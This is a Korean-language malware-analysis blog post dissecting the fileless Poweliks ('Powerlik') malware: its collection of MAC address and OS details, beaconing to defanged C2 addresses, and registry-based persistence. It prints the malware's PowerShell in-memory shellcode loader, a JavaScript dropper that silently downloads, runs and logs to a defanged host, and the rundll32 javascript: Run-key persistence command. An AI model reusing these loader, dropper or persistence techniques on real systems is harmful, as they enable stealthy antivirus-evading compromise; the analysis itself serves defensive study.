그냥저냥

[PE Malware] Powerlik 악성코드 분석 본문

Malware

[PE Malware] Powerlik 악성코드 분석

ex3llo 2016. 8. 14. 12:57


* 특징

 - 안티바이러스 솔루션을 우회를 목적으로 만들어진 파일리스(Fileless) 악성코드

 - 레지스트리값에 스크립트를 삽입하고 악성코드를 은폐시킨 후실제로 파워쉘을 이용해 악성행위를 하는 악성코드

※ Fileless 악성코드 : 악성코드가 메모리에만 존재하며하드디스크에 쓰이지 않고 RAM에 직접 로드되어 실행되는 악성코드


* 전체 행위 요약



악성코드 실행 시 가장 먼저 감염 시스템의 정보를 수집한다. 수집하는 정보는 MAC주소, OS 버전, OS Architecture 3가지 이다.


수집된 감염 시스템 정보는 C2 서버로 전송한다. 전송시 HTTP GET Method 를 이용하며, 지정된 파라미터에 담겨 전송된다.

C2 서버 URL #1 : hxxp://178.89.159.34/q

C2 서버 URL #2 : hxxp://178.89.159.35/q


이후 감염시스템에 .Net Framework 및 PowerShell 설치 여부를 검사한다. 

설치되어있는 경우 바로 악의적인 기능을 수행하는 스크립트 제작 단계로 넘어가고, 설치되어있지 않은 경우 마이크로소프트 공식 사이트에 접속하여 .Net Framework와 PowerShell을 설치한 후 악의적인 기능을 수행하는 스크립트 제작 단계로 넘어간다.

설치할 패키지는 KB968930 이며, 해당 패키지에 대한 정보는 아래와 같다.

.Net Framework 및 PowerShell 설치 후 악의적인 기능을 수행하는 스크립트를 제작하게 된다.

제작 단계는 아래와 같다.

  1. Shell Code 

  2. PowerShell Script 코드에 Shell Code 삽입

  3. PowerShell Script 코드 인코딩

  4. 인코딩된 PowerShell Script 코드를 자바스크립트 코드에 삽입

  5. 자바스크립트 인코딩

  6-1. 레지스트리 등록 1 (스크립트 실행코드)

  6-2. 레지스트리 등록 2 (인코딩된 자바스크립트)


우선 실제로 악의적인 기능을 수행하는 ShellCode를 인코딩 시킨다.


ShellCode 인코딩 후 하드코딩된 PowerShell Script 코드 안에 삽입한다. 인코딩된 ShellCode는 {ps_shellcode} 부분에 존재하며, Base64로 다시 인코딩 후 $p 변수에 저장한다.

<PowerShell Code>

function gd{ Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]); $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly( (New-Object System.Reflection.AssemblyName("ReflectedDelegate")), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType( "MyDelegateType", "Class,Public,Sealed,AnsiClass,AutoClass", [System.MulticastDelegate] ); $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); return $TypeBuilder.CreateType(); } function ga{ Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure); $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\\")[-1].Equals("System.dll")}; $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke( $null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))), $Procedure) ); } [Byte[]] $p=[Convert]::FromBase64String("{ps_shellcode}"); // $p == 인코딩된 PowerShell Code [Uint32[]] $op=0; ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga kernel32.dll VirtualProtect),(gd @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($p,{ps_shellcode_length},0x40,$op); ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((ga user32.dll CallWindowProcA),(gd @([Byte[]],[Byte[]],[UInt32],[UInt32],[UInt32]) ([IntPtr])))).Invoke($p,$p,0,0,0);


Base64로 인코딩된 PowerShell Script는 다시 하드코딩된 JavaScript의 일부분으로 삽입된다. 위와 마찬가지로 완성된 JavaScript는 다시 jscript.encode 함수에 의해 인코딩된다.

<자바스크립트 코드>

function log(l){ try{ x=new ActiveXObject("Msxml2.ServerXMLHTTP.6.0"); x.open("GET","hxxp://faebd7.com/log?log="+l,false); x.send(); return 1; }catch(e){ return 0; } } e=123; a=new ActiveXObject("WScript.Shell"); while(e!=42){ try{ w=a.ExpandEnvironmentStrings("%windir%"); p=w+"\\system32\\windowspowershell\\v1.0\\powershell.exe"; f=new ActiveXObject("Scripting.FileSystemObject"); function cdn(){ try{ return a.RegRead("HKLM\\software\\microsoft\\net framework setup\\ndp\\v2.0.50727\\sp"); }catch(e){ return 0; } } function d(u){ x=new ActiveXObject("Msxml2.ServerXMLHTTP.6.0"); x.open("GET",u,false); x.send(); ufn=a.ExpandEnvironmentStrings("%temp%\\")+u.substring(u.lastIndexOf("/")+1); ufnt=ufn+".tmp"; uft=f.CreateTextFile(ufnt,true,-1); if(uft){ uft.Write(x.responseBody); uft.Close(); uf=f.CreateTextFile(ufn,true); uft=f.GetFile(ufnt); ufs=uft.OpenAsTextStream(); ufs.Read(2); uf.Write(ufs.Read(uft.Size-2)); ufs.Close(); uf.Close(); f.DeleteFile(ufnt); a.Run("\""+ufn+"\" /quiet /norestart",0,1); f.DeleteFile(ufn); } } while(!f.FileExists(p)){ if(cdn()==0){ d(""); } d(""); } (a.Environment("Process"))("a")="iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String("** Base64로 인코딩된 PowerShell Script Code **")))"; e=a.Run(p+" iex $env:a",0,1); }catch(e){ log("scriptexcept_"+e.message); close(); } }; close();

<완성된 자바스크립트 인코딩 결과>


자바스크립트 인코딩 후 레지스트리에 저장한다. 경로는 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 이며, 레지스트리 키 이름 없이 키값만 저장된다.


[레지스트리 키 값 #1]

rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \"; document.write(\"\\74script language=jscript.encode>\"+(new%20ActiveXObject(\"WScript.Shell\")).RegRead(\"HKCU\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\\")+\"\\74/script>\") 



[레지스트리 키 값 #2]

#@~^kXcAAA==W!x ...... (인코딩된 자바스크립트 코드)


[레지스트리 등록 결과]

레지스트리 등록 후 CreateProcess 함수로 실행시킨 후 종료된다.


** 참고 : Rundll32.exe를 이용한 자바스크립트 실행 상세 과정

https://thisissecurity.net/2014/08/20/poweliks-command-line-confusion/

Comments